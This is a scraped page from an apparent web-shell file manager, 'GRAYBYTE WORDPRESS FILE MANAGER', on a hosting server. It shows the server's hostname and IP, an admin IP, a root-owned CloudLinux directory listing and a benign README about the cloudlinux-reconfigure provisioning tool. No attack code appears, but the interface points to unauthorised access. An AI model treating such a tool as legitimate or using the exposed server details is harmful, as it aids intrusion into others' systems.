$30 GRAYBYTE WORDPRESS FILE MANAGER $14

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure/

HOME
Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure//Readme.md
# Overview

This is a short overview of what is going on in this tool.

## Idea

cloudlinux-reconfigure automatically updates system configuration according to
"specification" of different editions. Right now "specifications" are defined
in `spec/` package as python scripts with the only method `provision(...)`.


There are some limitations that developers should stick to:
- `provision` method *must* be able to configure server no matter what edition was 
  installed previously. This means, e.g. if we make transition between `Admin` and `Solo`
  the latter is responsible for erasing `cloudlinux-admin-meta` package before installation
  of the `cloudlinux-solo-meta`



## Future

Here are couple notes for the future

### Provisioning responsibilities
Maybe we can add additional `deprovision` method which will be responsible for the 
cleanup of the edition that we are leaving. This will shift the responsibility e.g.
of removing meta packages to the module which performed provisioning previously.

On the other hand, it will increase migration time.

### Project structure
We can consider grouping actions not by the `edition`, but by the `project`, e.g.
```
spec/
    accelerate_wp/
        provision(edition, ...)
        deprovision(edition, ...)
    cagefs/
        provision(edition, ...)
        deprovision(edition, ...)
    lve-utils/
        provision(edition, ...)
        deprovision(edition, ...)
```

### Ansible?
We can use ansible playbooks instead of python to describe provisioning.
User-friendly playbooks with wide possibilities and also options like dry-run
which allow us to draw nice-looking progress for user.

Current_dir [ NOT WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
17 Dec 2025 3.08 AM
root / root
0755
__pycache__
--
16 Dec 2025 9.35 PM
root / root
0755
cli
--
16 Dec 2025 9.30 PM
root / root
0755
spec
--
16 Dec 2025 9.30 PM
root / root
0755
Readme.md
1.606 KB
14 Nov 2025 9.12 PM
root / root
0644
__init__.py
3.094 KB
14 Nov 2025 9.12 PM
root / root
0644
awp.py
1.755 KB
14 Nov 2025 9.12 PM
root / root
0644
cagefs.py
1.81 KB
14 Nov 2025 9.12 PM
root / root
0644
clpro.py
0.848 KB
14 Nov 2025 9.12 PM
root / root
0644
files.py
0.911 KB
14 Nov 2025 9.12 PM
root / root
0644
limits.py
2.855 KB
14 Nov 2025 9.12 PM
root / root
0644
linksafe.py
1.755 KB
14 Nov 2025 9.12 PM
root / root
0644
lve.py
0.942 KB
14 Nov 2025 9.12 PM
root / root
0644
packages.py
3.18 KB
14 Nov 2025 9.12 PM
root / root
0644
services.py
2.29 KB
14 Nov 2025 9.12 PM
root / root
0644
watcher.py
4.936 KB
14 Nov 2025 9.12 PM
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF